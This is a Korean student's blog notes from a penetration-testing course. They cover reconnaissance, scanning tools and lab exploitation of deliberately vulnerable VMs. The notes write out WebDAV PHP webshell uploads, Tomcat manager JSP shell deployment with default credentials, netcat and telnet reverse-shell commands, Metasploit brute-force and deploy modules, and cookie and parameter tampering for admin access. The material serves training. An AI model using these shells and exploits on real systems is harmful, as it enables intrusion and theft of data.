본문 바로가기
SK 쉴더스 루키즈

애플리케이션 보안

by todayisfriday 2024. 8. 10.

모의해킹 업무 이해

  • 고객사 서비스 대상으로 취약점 찾는 업무
  • 컨설팅 업체로 주로 취업

해야하는 공부

  • 웹해킹 (JAVA, php, .net, python-flask, Django) : 파이썬,장고 이런 애들은 요즘 트렌드 그치만 여전히 앞에 세개를 젤 많이 쓰고 자바가 젤 중요함
  • 모바일해킹 : Java,Kotlin, object-C 이런 언어 사용하는데 일단 우리 교육과정에는 없음 근데 모의해킹 업무 하고 싶으면 따로 공부해야 함
  • 시큐어코딩 : 소스코드보안진단 하는 것 위의 해킹 두가지를 하고 좀 익숙해지면 이제 이거 공부하면서 해야 함
  • 이 외에도 무선해킹, IoT, 블루투스, 자동차 등 혼자 공부해서 특화분야 살리면 그 직종에서 모의해킹 할 수 있게 되는 것

기본적인 네트워크 이해

  • 명령 프롬프트 내 ipconfig

- 이더넷 어댑터 부분 보면 IPv4 주소가 있는데 보면 NAT 네트워크를 사용하고 있음

- NAT 네트워크는 내/외부 IP를 변환해서 보여주는 것

  • 보통 이제 웹서비스 쪽 포트 (80포트와 443포트)는 오픈 되어 있음
  • 그래서 공격자가 그 쪽으로만 접근 가능함
  • 근데 이제 웹 서비스 들어가서 정보수집을 열심히 한 다음에 Jump해서 여러 내부로 침투하는 공격을 하는 것
  • 그걸 지속적으로 시도하면서 공격하는 것을 APT 공격이라고 함
  • 방화벽 : 접근제어, WAF 방화벽 : IPS와 유사
  • WIPS : 무선 AP 차단

- 바깥으로 우리가 사용하는 AP가 나가지 않도록

- 외부 AP가 내부에서 안잡히도록

  • 우리가 사용하는 Kali Linux는 데비안OS를 기반으로 한 것

- Kali 내 모의해킹 도구는 모의해킹 순서

OWASP Top Ten

  • 취약점 정보 모아서 3-4년 단위로 제공해 줌
  • 웹만 있는 것 아님 다 있음
  • 국내 : 주요정보통신기반시설 기술적 취약점 분석/평가 방법

- https://www.kisa.or.kr/2060204/form?postSeq=12&lang_type=KO&page=1#fnPostAttachDownload

- OWASP 바탕으로 만든 것

- 주요정보통신기반시설은 국정원 담당 / krcert나 Kisa는 민간기업 담당

  • Top Ten 내용 분석

- A01 : 깨진 접근 제어

- A02 : 암호화 실패

- A03 : 입력값 검증 미흡 (가장 비중이 큼)

--> 주입 공격 당하는 것

- A04 : 개발, 계획 단계에서부터 보안이 비중을 차지할 필요가 있다는 것

--> 시큐어코딩과 관련 있음

- A05 : 잘못된 보안 구성

--> WAS랑 DB가 연결되어있는데 이제 DB 정보를 WAS로 가져와서 동적으로 처리

--> WEB이 처리할 수 있도록 해 줌

--> 그래서 실제 웹해킹 대상은 html, js, jsp 등

--> 근데 취약한 건 또 nginx, tomcat, mysql 등

- A06 : 취약한 기능 뭉텅이

--> 게시판에서 많이 사용

--> 사소한 패치들을 챙겨야 함 (https://www.exploit-db.com/)

- A07 : 인가와 인증에 관한 취약점 ★

- A08 : SW와 DATA 무결성 검증이 불충분함

--> 해시값 체크하슈

- A09 : 로깅과 모니터링 잘하는 중이닝?

- A10 : 공격자가 서버의 애플리케이션이 의도하지 않은 위치에 요청할 수 있도록 함

  • Top Ten 안에 우리가 검증해야하는 것은 수백가지

- 익숙해질 때까지 공부해야함 --> 이게 뭐고 어디에 매칭되는 지 --> 모의해킹 업무임

  • OWASP Testing Guide를 기반으로... (물론 지금은 봐도 뭔 말인지 모름)

모의해킹 절차

  • Pentest, Pentration Test

정보수집 (OSINT: Open-Source Intelligence)

  • 오픈소스 : 구글 검색, 트위터 X 검색

cf ) 다크웹(Dark Web): tor 브라우저 / 개인정보 유출 사건 : LG U+

  • 도메인/IP정보 수집 :DNS Analysis

- IP 매칭 시도 (naver.com과 google.com으로)

- Ping 보내서 확인해보는 것

*Ping이 나가고 안나가고의 차이 : ICMP 프로토콜 차단 or 허용

그럼 이건 어디에서 제어?? : 방화벽 --> IP/Port/TCP/UDP 다담아

그럼 방화벽은 7Layer 중에 어딨는디 --> Layer4에 해당

3은 라우터(밖으로 나가려는 IP 제어) / 2는 스위치 (분배만 해줌, 그래서 내부)

근데 사실 다 스위치인거야.. 그리고 layer7은 누가 역할해? --> IDS/IPS

결론은?

이거 좀 외워라

다시 본론으로 돌아가서.. 그럼 naver는 왜 Ping이 막혀있고, Google은 허용돼있어?

Google은 허용, Naver는 차단 된 것 알 수 있음

왜냐면 외국은 탐지에 초점을 맞춰.. 왜냐면 거긴 잘못하면 걍 100년 구형해버리거든..

우리나라는 그래서 차단에 초점을 맞춘단다! (그래서 80/443 포트만 열린 경우가 많음)

그럼 왜 차단해야하는 걸까? DDoS 공격을 이걸로 많이 해서 그랭!

- DNS정보 확인하는 방법 : nslookup 사용

- Ping 찍은 IP주소와 주소가 다른 이유는 LB탓 (LB가 여러 서버에 돌아가면서 분배 --> 매번 IP 다름)

- 근데 하나씩 치면서 확인하면 힘드니까 Dictionary 파일 갖고 도메인 서버에 요청해서 확인

짠 일케 한번에 쫙 나온다는 것

이것은 google 것

- fierce에서 nearby는 이 근처에 비슷한 subnet들이 있다는 것을 의미

- LB 활용해서 동일하게 쓰이는 것도 있음

- 이렇게 같은 IP에 여러 도메인이 잇ㄴ는 경우는 사람들이 많이 사용하지 않는 경우 많음

- 이런 도메인은 관리자들한테 물어봐서 사용안하는 것은 삭제할 것을 권장하기

- 사이트를 활용해서도 도메인 정보 확인 가능

--> https://sitereport.netcraft.com/

--> 클릭하면 도메인 정보 더 자세히 알 수 있음

- 근데 여기서 보면 Virus Total 있는데 여기 들어가면 피싱 사이트인 지 확인 가능

--> 근데 이거 저번에 했는데 언제 했더라..?

-->https://www.virustotal.com/gui/ip-address/23.72.32.225

-한국에서 만든 피싱 사이트 확인 사이트 : https://www.criminalip.io/ko

- 개짱인 보안 Intelligence : https://www.recordedfuture.com/

--> 아무나 이용할 수는 없는데 전화번호만 입력해도 내 외부활동이 쫙 나옴

--> 범죄자들의 기록을 역추적해봐서 모아뒀더니 내 정보 걍 모아둔 게 되는겨...

- 연차가 어마무시한 저장소 확인 사이트 : https://web.archive.org/

--> 크롤링해둔 거라서 옛날 네이버 구경 가능

1998년인가의 네이버...ㄷㄷ

- 어쨌뜬 이런식으로 도메인들을 확인하는 여러 방법이 있다..

  • 구글 검색

- OSINT FileType 검색 (Google Dork)

--> <title>타이틀정보</title> --> title : 대시보드 하면 제목에 대시보드 들어간 거 검색

--> intitle :title 안의 정보 검색

--> site : 도메인 기준

--> InURL : 그 이름의 URL 갖고 있는 사이트 검색

예시1> site : naver.com inurl : admin filetype : pdf --> 네이버에 admin url 갖고 있는 pdf검색

예시2> inurl : admin filetype : pdf 일케 검색했다가 함부러 클릭해서 법적문제에 휘말리지 말자..

--> Filetype : ext와 유사

--> Intext : 게시글 내용 <예시> intext : 패스워드

- 이제 이걸 알고 exploit-db사이트 보면 뭔 말인지는 알 수 있음

- https://www.exploit-db.com/

*번외 : 내가 점검한 History 꼼꼼하게 잘 남겨놓자

  • google.com/robots.txt : 여기 파일 보면서 "Disallow"로 돼있는 것은 크롤링 하면 안 됨

https://www.google.com/robots.txt

- user-agent : *

--> 이건 브라우저 정보/ 사용자가 뭘로 접속했는 지 알 수 있음

- 구글 로봇텍스트 보니까 Twitter랑 Facebook은 서로 이미지 크롤링 할 수 있게 해 둠

--> open 돼있느냐 아니냐에 따라 법적으로 걸리냐 안걸리냐 차이 남

  • Bee-Box의 robots.txt 보면서 취약점 예측해보기

- admin : 관리자 페이지에 대한 접근제어 미흡 및 인증처리 미흡

일케 그냥 들어가지는 걸 알 수 있음

- documents/images : Index of 보안설정 미흡으로 인한 디렉토리 구조 노출

+ apache 서버 보안설정 미흡으로 인한 버전 정보 노출

 

- passwords에는 백업파일들 존재

--> web.config 파일

ASP .net 환경/ connection정보들 백업돼있는 것 확인 가능

--> wp-config 파일

워드프로세스 /얘도 커넥션정보있음

--> passwords는 Index of 취약점에 주요정보 노출된 것

- 만약, User-agent : *에 Dissallow: / 라면 안전할까?

--> 외부에서 아예 검색이 안됨! 보안이 첫째는 아니므로 어느정도의 노출은 필요함

정보수집_포트확인

  • HTTP가 꼭 80포트여야하는 건 아니지만 http://naver.com:8080 이라면 사람들이 헷갈리고 막 가짜사이트 나타나고 그럴 거니까 잘 알려지고 정해진 포트를 사용하는 것이 좋겠죠?
  • https://ko.wikipedia.org/wiki/TCP/UDP%EC%9D%98_%ED%8F%AC%ED%8A%B8_%EB%AA%A9%EB%A1%9D
  • 0번 ~ 1023번: 잘 알려진 포트 (well-known port)
  • 1024번 ~ 49151번: 등록된 포트 (registered port) --> 서버입장
  • 49152번 ~ 65535번: 동적 포트 (dynamic port) --> 사용자 입장
  • 명령 프롬프트에서 netstat -na를 해봅시당 (네트워크 연결정보 확인)

- 445 : 파일 공유서버

- 5040-49670 : 뭔가 열려있긴 한데 알고 싶으면 찾아야 함

- 그 밑으로는 나가는 주소도 있음 (여기부턴 dynamic)

--> closed_wait : 창 닫고 꺼지기 대기 중 / Established : 어디 연결 중

  • 포트스캔 : Nmap을 통해 직접 포트 확인하고, 버전확인(Nmap nse)하는 방법과 OSINT 활용 방법이 있음
 

왼쪽은 nmap / 오른쪽은 nmap -p-

- nmap은 nmap에 등록된 포트(명시된 포트)만 점검 / nmap -p-는 전체 포트

--> 2개정도 차이나는 게 보임

- -sV 옵션 해 봐야 함

--> version정보는 공격코드가 정해지는 거니까 중요해유

-sV 한 것

- 뒤에 -oX result.xml 하면 결과를 xml 파일로 저장할 수 있음

--> 다른 수행 시 가져와서 이용할 수 있게 되는 것

-그냥 쓰던 Desktop으로 가져와서 엑셀로 열어보면

일케 예쁘게 다 잘 나와있다..

-searchsploit --nmap result.xml을 하게 되면 어떤 취약점을 이용하여 도출됐는 지 알게 됨

- 나온 결과의 경로 찾아서 취약점 분석하면 됨!

- searchsploit는 exploit-db.com 의 사이트에 있는 정보를 CLI 기반으로 빠르게 검색하는 것

* 취약점 분석 보고서 작성 팁

일케 xlm 파일을 html 파일로 바꿔주면

일케 되는데 이거 아주 예쁘게 잘 돼있어서 긁어서 쓰면 됨!!


 

Port Scan

OSINT 사이트 활용하기

  • 실무에서 port scan 명령어를 활용해 스캔할 경우 엄청 오래 걸림
  • 외부 IP 스캔의 경우 시간이 너무 오래걸리므로 OSINT 사이트를 활용하면 알아서 포트 스캔을 해 둔 것이 보임

- 포트 누르면 Banner의 version정보 확인 가능 --> 버전 정보 취약함 표시 중

- CVE : 취약점 아이디 값 / CWE : 좀 더 낮은 정도의 취약점

  • 이게 기업 내의 보안전문가 입장에서는 내 일을 대신 해주는 것
  • 심지어 근접 IP까지도 검색이 가능함

- Google같은거 보면 port 딱 두개 열려 있는 것 볼 수 있음

  • 이제 중국 거 확인해보면 우리가 공부하기 너어무 좋은 환경임

- 포트 엄청 많이 열려 있어서

  • 지금 현재는 세부 내용들을 이해하기는 좀 어려움
  • Banner Explorer 보면 현재 트랜드를 알 수 있음

- DB 항목을 보면 MongoDB의 포트번호는 2707, elasticshearch는 9200

- ICS를 보면 Modbus의 포트는 502

--> ICS는 스마트팩토리와 연관된 것들이 많음

--> 모드버스도 PLC(장비에 신호를 주는 것)에 신호를 주는 애들이라 중요함

--> 최근에는 이런 쪽 특화로 나가보는 것도 추천! (특히 선박)

  • 그래서 정리해보면 어제 배운것과 OSINT 일케 두가지 방법으로 Port Scan이 가능함

* 외부에서 보이는 open된 포트는 80과 443밖에 없지만 내부적으로 많이 열려 있음 (방화벽이 막아주는 것)

내부 IP 대역에 있는 애들은 직접 검색해서 살펴봐야 함

8-90%는 외부서비스 진단이지만 내부 서비스도 진단해 보아야 함

번외로 Video Games 항목은 친구들과 서버 열어서 해야하니까 상당히 많은 포트들이 열려있기에 버전 낮으면 한방에 갈 수 있다...


웹 스캔 도구 활용

개요

  • 80,http 중점적으로 스캔
  • 목적

- 버전 정보 노출 여부 확인

- 크롤링 작업을 통해 디렉토리 구조 파악

- 무작위 대입공격으로 불필요한 파일 존재 여부 확인 ( 접근제어 미흡 디렉토리 등)

  • 도구

- 무료 : Nikto, OWASP ZAP, dirb 등

- 유료 : appscan, accunetix, burpsuite pro 등

Dirb

  • 디렉토리 구조를 살피는 이유는 어디를 점검해야할 지 알기 위한 것

- wordlist file 대입해서 있냐없냐 알려주는 것

밑에 결과

- CODE : HTTP 상태를 나타낸 것

--> 200은 성공 / 201은 새로운 페이지가 작성되는 것

--> 302는 임시이동

--> 403은 Forbidden(디렉토리 있는데 접근 안됨) / 404 Not Found (얘는 없는겨)

--> 500은 내부 제어 오류 / 502는 불량 게이트웨이

--> 나머지 : https://ko.wikipedia.org/wiki/HTTP_%EC%83%81%ED%83%9C_%EC%BD%94%EB%93%9C

  • scanning 요청 -> 상태코드 보고 체크

- 예시 : webconfig 노출되어 있음 => 취약점 찾았땅

Nikto

  • 디렉토리 검사 및 불필요한 메소드 허용 사례 찾기
  • 단점 : 자동화가 안됨 그래서 하나씩 넣어서 봐야 함

- -h는 호스트를 의미함

- 형광펜끼리 연관 있음

 

Burp Suite

- 클라이언트(브라우저/모바일) <--> |프록시| <--> 서버

--> 프록시는 응답과 요청이 왔다갔다 하는 것을 확인할 수 있는 공간임

--> 프록시는 캐시서버용으로 자주 사용함

--> 프록시는 중간역할 (경유지)

--> 그럼 왜 프록시를 사용하냐? 값을 바꿔주기 위해!

프록시에 표시되는 내용

- GET : 요청(메시지) / POST : 실어서 보내는 것

- Cookie : 정보기억 능력이기 때문에 값이 중요하다

- User-Agent : 모바일로 접속했는 지 PC로 접속했는 지 나옴

- Accept : 요청을 보낼때 어떤 타입으로 응답을 보내줬으면 좋겠다고 명시하는것

  • Forward 한 번 : server에서 버전정보 노출되면 취약점이 됨

Forward 한 번 한 후 Proxy 화면

- 밑의 html 보면 어떻게 생긴 화면인 지 예측 가능

- render 누르면 미리 볼 수 있음

render 누르면 나오는 모습

- 원하지 않으면 Drop 하면 됨

  • 이제 대충 확인해 봤죠? 이걸로 뭐 할 수 있다고? 조작할 수 있다고
  • Method는 GET/POST 같은 애들을 말함

- 예시 : REST API의 대표 사례인 마이데이터는 GET만 허용해서 자산정보를 가져가고

--> 송금하려면 POST로 허용해야 하는것

  • Webdav 프로토콜 : 웹서버 접근할 때 허용해주는 것

- 아까 취약점 진단시 나왔었으니까 함 수정해봅시다

- GET --> PUT으로 변경 / HTTP --> test.txt HTTP 로 수정

- 마지막 줄 한 줄 띄고 test file... 추가해서 포워드 해주면?

생겼답니당

  • 그럼 이제 phpinfo를 삽입해볼까요?

- PUT / webdav / test.php HTTP ~

- 마지막 줄 한 줄 띄고 <?php phpinfo(); ?>

  • text 파일도 생성되고 php서버 사이드 스크립트도 실행되네?
  • 그럼 이제 악의적인 코드인 웹쉘도 한 번 올려볼까?

- kali에서

- Burp에서 shell.php 삽입하고 마지막 줄 한 줄 띄고 kali에서 보이는 <?php ~ ?>까지 복붙

- 했더니 cmd 명령어를 입력할 수 있게 됨!

- url에 192.168.5.133/webdav/shell.php?cmd= {명령어} 하면 다 됨

ls -al 한 것 예시

  • 근데 이제 이걸 잘 활용하려면 윈도우 명령어를 잘 기억해야 함

- ps -aux : 현재 실행중인 프로세스 확인 가능

- ifconfig는 안되지만 ip addr은 됨

- uname -na : 현재 시스템환경 확인 가능

  • 정리하자면 webdav은 method허용을 제한하는 건데 취약점이 발생한겨 그래서 webshell도 깔려버리고 시스템명령어 수행하도록 허용하게 된 것

cadaver

  • 이것은 우리가 위에서 열심히 Burp Suite 이용해서 한 거의 자동화버전이랄까
  • cadaver http://192.168.5.133/webdav/ 준비하고 와이어샤크 켜 보기
  • 우리는 처음부터 PUT 입력해가지고 했는데 cadaver에서는 options해서 method 활용여부 확인하고 시작

- TCP Follow 한 것을 보면 형광펜 친 것을 보면 허용된 method들을 볼 수 있음

- Burp에서 한 것 처럼 webshell을 넣어 보겠움

- 그럼 이렇게 자동화도구도 수동과 같은 절차로 가져온다는 얘기

  • 그래서 자동화도구를 이해하기 위해 수동을 먼저 해보면 좋다~


TOMCAT 취약점 및 시스템 침투

dirb/ nikto

  • metasploitable 켜고 kali에서 sudo nmap -sV 192.168.5.130
  • 80port와 8180port는 http 사용하는 port니까 주시해야함

- 그리고 우리가 지금부터 8180 대상으로 설정들과 취약점 확인해볼겨

  • Apache Tomcat

- WAS 웹페이지 / JSP, JAVA 환경 구축시 사용하는 WAS

- 현재 8180 port를 사용중이지만 8080,8888도 많이 사용중임 (Criminal IP 보면)

  • didr

didr

  • nikto

nikto

- 보면 Tomcat Manager Application의 ID/PW 값 확인 가능

- PUT이나 DELETE 매소드가 허용된 것을 알 수 있음

  • 그래서 192.168.5.130:8180에 접속해서 manger 페이지에 들어갈 때 사용할 ID/PW를 알아냈기 때문에 쉽게 접근해서 악성 코드를 옮길 수 있는 취약점을 발견한 것

웹 서비스 취약점 이용한 시스템 침투

  • Tomcat Web Application Manager 페이지
  • war 파일 안에 악성코드 포함해서 올리면 잘 올라가짐
  • 그래서 Tomcat Management 찾는 것이 자주 있는 공격임

- 하위버전이면 계속 tomcat/tomcat임

  • 공격자(Port 열람) --bind attack--> 방화벽 -->서버 사용자

- bind attack은 방화벽을 우회해서 서버로 들어가는 것인데 제한적임

--> 더 내부로 침투하기 어려움

- 그래서 공격자가 웹 서비스까지 갈 수 있으니 거기에서 권한을 실어서 공격자에게 다시 주는 것

--> 이걸 reverse attack이라고 함

--> 웹에서는 명령어가 이어지지 않고 브라우저가 받을 수 있는 용량의 한계

--> 그래서 굳이 권한 줘서 내보내는 것임

- 방화벽은 외부 침투를 막기 때문에 내부에서 빠져나가는 건 막기 어려움

--> 공격자는 port를 열어두고 내부에서 연결할 수 있도록 command control port 열어둠

--> 4444 포트를 열어둘게용

  • 그래서 kali에서 nc -lvp 4444 (lvp는 듣고 자세히 보는 포트)
  • 192.168.5.130:8180/test/shell.jsp 로 가면 이제 command를 시작할 수 있음
  • 그래서 command 서버에 nc 192.168.5.133 4444 -e /bin/sh

- nc는 socket 프로그램(그냥 채팅 하는 그런거라고)

- -e는 파일을 주고 받을 수 있도록 해주는 거고

- sh는 shell권한(=cmd권한)

  • 이제 kali에서 명령어 넣으면 다 됨 --> 완전 웹서버에 들어온 것
  • 그러나 세션 문제가 있음 --> 가만히 있으면 끊김
  • 그리고 nc는 해킹도구가 아닌 linux 명령어임

- bee-box에는 워낙 취약한 어린이라 nc가 있음

- 그러나 ubuntu에는 없음 --> 왜냐면 위험해서

- 그래서 실무에서 nc 쓰려면 없는 경우가 많음 --> 그치만 이해용으로는 적합

  • 유사한 기능을 가진 명령어가 telnet

- 얘도 네트워크 프로그램이라 원격접속 하는 그런거에 쓰이는데 기본적으로 Linux여

- 단, 얘는 양방향이 안돼서 port를 두 개 열어두는 꼼수를 써야 함

- 그래서 5555와 6666을 열어둘게용

  • commad launch에서 telnet 192.168.5.133 5555|/bin/sh| telnet 192.168.5.133 6666
  • 하면 이제 5555와 6666이 서로 소통하며 정보 주고 받게 됨

여기서 명령어를 입력하면

여기서 대답을 해 줌

  • 그럼 telnet은 세션 문제 없느냐?? (시간 지나면 끊기는 문제)

- 앞에 sleep 명령어를 넣어주면 계속 유지됨

--> sleep 1000 | telnet 192.168.112.145 5555 | /bin/sh | telnet 192.168.112.145 66664

  • 참고로 nc에서는 sleep도 안먹힘

metasploit

  • metasploit과 metasploitable은 다름

- metasploit에서는 exploit 코드들을 보유하고 있으며 모의 해킹할 때 필요한 도구 보유

- metasploitable은 victim용으로 제작

- metasploit에서 공격 프레임워크를 제공해 주는 것

--> 프레임워크는 msf 같은 데서 제공해주는 함수들을 뜻 함

  • msfdb init을 해줌

- Database 초기화

  • msfconsole 들어가

- exploits : 공격도구

- auxiliary : 탐색에 사용되는 도구들

- post :exploit 이후 추가 공격에 사용되는 도구 또는 모듈

- payloads : 장착형 공격 모듈

- encoders : 백신들을 우회하기 위한 목적으로 만들어짐

- nops : 쓸데 없는 값들을 중간에 놓는 형태들이 존재 이것도 우회하기 위한 것

- evasion : 우회 가능한 형태의 공격 개발중인 것 이제 encoder도 잘 안먹히니까

* metasploit pro버전 : 가끔 실무에 있는데 활용하는 걸 잘 모름 / GUI로 되어있음

--> 더 좋은 게 뭐냐면 원데이 취약점을..하다가 안알려주심

  • msf> search tomcat

- tomcat tomcat 사용했는데 이제 다른 기타 다른 곳에서도 주입 공격(사전 활용한) 그런 걸 하는 것이

--> Login Utility : 로그인 페이지 확인하는 거

  • 우리가 사용할 건 27번 auxiliary/scanner/http/tomcat_mgr_login
  • msf6> show options

- option들이 많은데 required에서 yes라고 돼있는 것만 다 채우깅 (전에 배웠지용?)

--> rhosts 채우기 (remote host : 공격할 원격 호스트)

--> 우리 포트 8180인데 8080이라 바꿔줘야 함

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.5.130 // rhosts는 대량의 id/pw 점검 가능한 것 rhost는 단일 호스트 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set STOP_ON_SUCCESS true // --> 자기가 갖고 있는 딕셔너리 파일을 대입하는 공격인데 성공이 되면 멈춰야 하니까 그 명령 입력한 것 msf6 auxiliary(scanner/http/tomcat_mgr_login) > exploit // 촤라라라락 성공 스탑!

tomcat/tomcat알아냄

- 우리가 관심가져야 할 것은 Incorrect인 부분들 왜?

--> incorrect 부분들의 단어들은 기존에 사용됐던 단어들을 전부 모아둔 것이기 때문에 현황 파악 가능 (힌트)

--> 소스코드 분석과 와이어샤크를 통해 패킷 분석을 하며 보고서를 작성하면 좋은데

--> 대량으로 스캐닝을 하고 싶다면 set RHOSTS 192.168.5.1-255

  • 아까 우리 webshell 올렸던 것처럼 할 수 있는 게 있음

- exploit/multi/http/tomcat_mgr_deploy

- 그래서 이걸 사용해서 해볼게용

msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpPassword tomcat // HttpPassword => tomcat msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpUsername tomcat // HttpUsername => tomcat msf6 exploit(multi/http/tomcat_mgr_deploy) > set RHOSTS 192.168.5.130 // RHOSTS => 192.168.5.130 msf6 exploit(multi/http/tomcat_mgr_deploy) > set RPORT 8180 exploit
  • 결과값

이제 meterpreter> 하면서 잘 된다는겨

- handler : object를 handling한다는 의미에서 온 것

- war파일 : 랜덤값으로 만들어진 것이 보임 --> metasploit 특징임

- 우리가 수동으로 파일을 업로드 했을 때 디렉토리 이름이 되었던 것처럼

- 그렇게 되고 웹쉘이 연결해주는 역할을 함

- nc처럼 socket 기능이 포함되어 있는 webshell임을 알 수 있음

--> 나중에 우리가 직접 만들어볼 것

- 그리고 undeploy보면 지워버린 것

--> 수동 공격 기법 이해하면 metasploit의 공격 이해할 수 있음

- 앞에서 shell 통해 공격할 때 어려웠던 것은 무슨 명령어로 공격해야할 지 어려웠음

- 명령어가 바로 떠올라야 함 근데 metasploit가 그것을 해결해 줌

- 원래 리눅스는 search 명령어는 없음 근데 metasploit는 있음

- help입력해서 명령어 확인 가능

- 몇가지는 안되는 기능들이 있음 공격 당하는 환경에 따라서

--> 예시 : netstat 안됨 근데 shell해서 들어가서 하면 됨

meterpreter > search -f *.txt // 하면 촤라락 나옴 암튼 서치하면 텍스트 파일 다 가져옴 // 직접적으로 공격자 서버에 옮기고 싶다! 하면 meterpreter > download /var/www/twiki/readme.txt // [*] Downloading: /var/www/twiki/readme.txt -> /home/kali/readme.txt // [*] Downloaded 4.23 KiB of 4.23 KiB (100.0%): /var/www/twiki/readme.txt -> /home/kali/readme.txt // [*] Completed : /var/www/twiki/readme.txt -> /home/kali/readme.txt // 짠 일케 간편하게 kali로 옮겨짐

*악성코드를 잘 이해하면 모의해킹할 때 큰 도움이 된다..

metasploit, 코발트스트라이크 같은 것들의 코드들이 실제 악성코드에 잘 쓰임

 

bee-box 내 쇼핑몰 구축

설치하기 전에 키보드 한글 설정

  • 근데 이거 가끔 튕겨서 USA 추천!
  • 그리고 내 화면 보면 root 로그인 계속 튕김
  • 귀찮아 죽겠음

데이터베이스 생성

bee@bee-box:~$ sudo su - root@bee-box:~# mlogout // 일케 계속 나가짐 bee@bee-box:~$ mysql -u root -p mysql> show databases;

+--------------------+

| Database |

+--------------------+

| information_schema |

| bWAPP |

| drupageddon |

| mysql |

+--------------------+

4 rows in set (0.00 sec)

mysql> create database gmshop; // Query OK, 1 row affected (0.01 sec) mysql> show databases;

+--------------------+

| Database |

+--------------------+

| information_schema |

| bWAPP |

| drupageddon |

| gmshop |

| mysql |

+--------------------+

5 rows in set (0.00 sec)

mysql> exit

zip파일 풀기

bee@bee-box:~$ pwd // /home/bee bee@bee-box:~$ ls // Desktop Examples Music Public Videos // Documents gm.zip Pictures Templates bee@bee-box:~$ sudo su - // [sudo] password for bee: root@bee-box:~# mkdir /var/www/gm/ root@bee-box:~# cp /home/bee/gm.zip /var/www/gm/ root@bee-box:~# cd /var/www/gm/ root@bee-box:/var/www/gm# unzip gm.zip

solution sql을 데이터베이스에 적용

root@bee-box:/var/www/gm/lib# ls root@bee-box:/var/www/gm/lib# mysql -uroot -pbug gmshop < solution.sql

우리 어제는 tomcat과 webdav을 해봤지용?

webshell을 이용해서 시스템 침투하는 실습을 했답니다

자 이거는 OWASP Top10 기준으로 봤을 때

  • tomcat : 접근제어 미흡, 기본 계정 존재
  • 웹댑은 보안 설정 미흡

=> 취약점이 top10 기준으로 무엇에 관련되어 있는가 살펴 보는 것이 중요하다는겨

오늘은 무얼 할꺼냐면

인증처리 미흡한 취약점과 관련해서 알아볼게유

  • 이건 관리자나 사용자들이 로그인할 때 인증을 받고 권한을 부여받는데
  • 관리자 권한을 획득할 수 있는 것을 살펴 볼 필요가 있다는 것이지

- 실제 관리자 페이지가 한 10페이지 정도 있을 때 모든 페이지에 권한이 있는 건 아니라는 것

  • ID/PW에 더해 더 강화시킬 수 있도록 Multi Factor 설정

- OTP와 생체인증, 공인인증서 등으로 강화할 수 있다는 것

  • 그래서 무작위 대입 공격같은 걸로 취약한 부분 찾아내서 권한 얻는거지

  1. 관리자가 사용하는 특정 파라미터 값 조작 및 쿠키 값 조작
  2. 회원가입 단계에서 주민정보같은 중요정보를 어떻게 우회할 수 있나
  3. 다른 사용자의 게시글이나 정보들을 조회 및 수정할 수 있나

  • 이외에도 많지만 오늘은 요정도 테스트 할거임
  • 인증처리 미흡 취약점 같은 경우에는 기술적 베이스가 어려운 것은 아님
  • 그러나 엄청 꼼꼼해야 함 (모든 서비스를 이해하는 것이 필요)

- 간단히 말하면 무슨 서비스들을 이용할 때 잘 안쓰는 것들도 좀 봐 볼 필요 있음

- 뭐든 서비스를 이용해봐야 이해할 수 있기 때문에 뭐든 많이 이용해 볼 것

Burp Suite과 bee-box 열어두고 시작해보장

 

파라미터 값 및 쿠키 조작

Administrative Portals (Low)

  • 자 html을 봐 보자

- admin = 0 이니까 admin을 1로 바꿔줬더니

  • 이거는 쉽지! 이제 보통 실무에서는 이런 형태는 이제 많이 없음

- 더 어려운 파라미터 값들을 사용 함

--> 이것도 무작위 공격으로 어케할 수는 있음

Admisitrative Portals (Medium)

  • 이건 이제 cookie 값을 확인해 봐야 하는 문제
  • 이렇게 Burp suite로 확인해서 admin = 0으로 돼있는 걸 1로 바꿔줌
  • 쿠키값은 하나의 인증!

- 지금 이 사이트의 쿠키 값은 굉장히 간단 한 것임

  • Burp suite은 딱 한 번만 일시적으로 바꿔주는 것이기 때문에 새로고침하면 다시 락이 됨
  • 그래서 브라우저 어딘가에 있는 쿠키 값 찾아주기

- 보면 admin 부분을 1로 바꿔주면 새로고침해도 unlock 되어 있음

*F12의 Network도 많이 씀

--> 페이지들의 흐름( 타임라인들)을 볼 수 있음

--> 악성 코드 분석 시 눈에 안보이는 코드들이 내려오는 걸 볼 수 있음

Insecure Login Forms(Low)

  • 클라이언트 스크립트 내 중요 정보(HTML, Javascript)

- 마우스 오른쪽에서 페이지소스 보기 하면 html 나옴

--> 주석처리된 것과 value="" 파라미터 값 주시해야 함

  • 그래서 form action과 submit 부분을 주목해 봐야 함
  • 사실 그냥 메인 화면에서 ctrl+A 하면 login과 password 옆에 글씨 보임 ㅎ

*개발서버 > 스테이지서버 > 운영서버

스테이지서버에서 품질관리 함 : 다 잘 되는 지 체크해 보는 것

Insecure Login Forms(Medium)

  • 이거는 스크립트를 주시해야하는 건데 나는 이거구나 했는데 못 풀고 있었다...
  • 요거를 예쁘게 복붙해서 document.write(secret); 이거나 alert(secret); 이거 써서 html 파일로 저장해 준다음 켜 보면 답이 촥 나옴
  • 이것도 하나의 암호화/치환 방식인건데
  • 또 다른 방법은
  • 일케 개발자도구 내 console에 물어보면 나옴

 


회원가입 우회

준비 - 프록시 잡기

  • 브라우저에서 프록시 설정 필요

- foxy proxy라는 확장프로그램 사용 예정

--> 브라우저가 프록시 바라보게 만드는 것

- foxy proxy option > proxies > add > 127.0.0.1 > 8080port

- 여기서 프록시 잡아두고 준비

  • Burp suite 에서 타깃 설정

- settings에서도 request와 response에서 url 체크 해주기

주민번호 중복 확인 제거

  • 주민번호 중복 확인 버튼을 눌를 때 intercept on을 해놨는데 burp suite 서버로 들어오지 않음

- 이 의미는 주민번호확인은 Javascript에서 처리한다는 얘기임

--> 그래서 javascript를 이용하면 우회할 수 있다는 것을 의미함

  • 브라우저에 들어올 때 HTML과 Javascript가 함께 들어옴

- 브라우저에서 들어가기 전 JS를 프록시에서 낚아채면 페이지 정보에서 볼 수가 없겠지?

--> response 값을 잡는 것!

  • 그래서 저기서 새로고침하면 intercept를 먼저하고 forward를 한 번 누르면 response 값이 나옴
  • 주민번호 중복 여부부분을 보자

- 아예 지워버리면 간편함

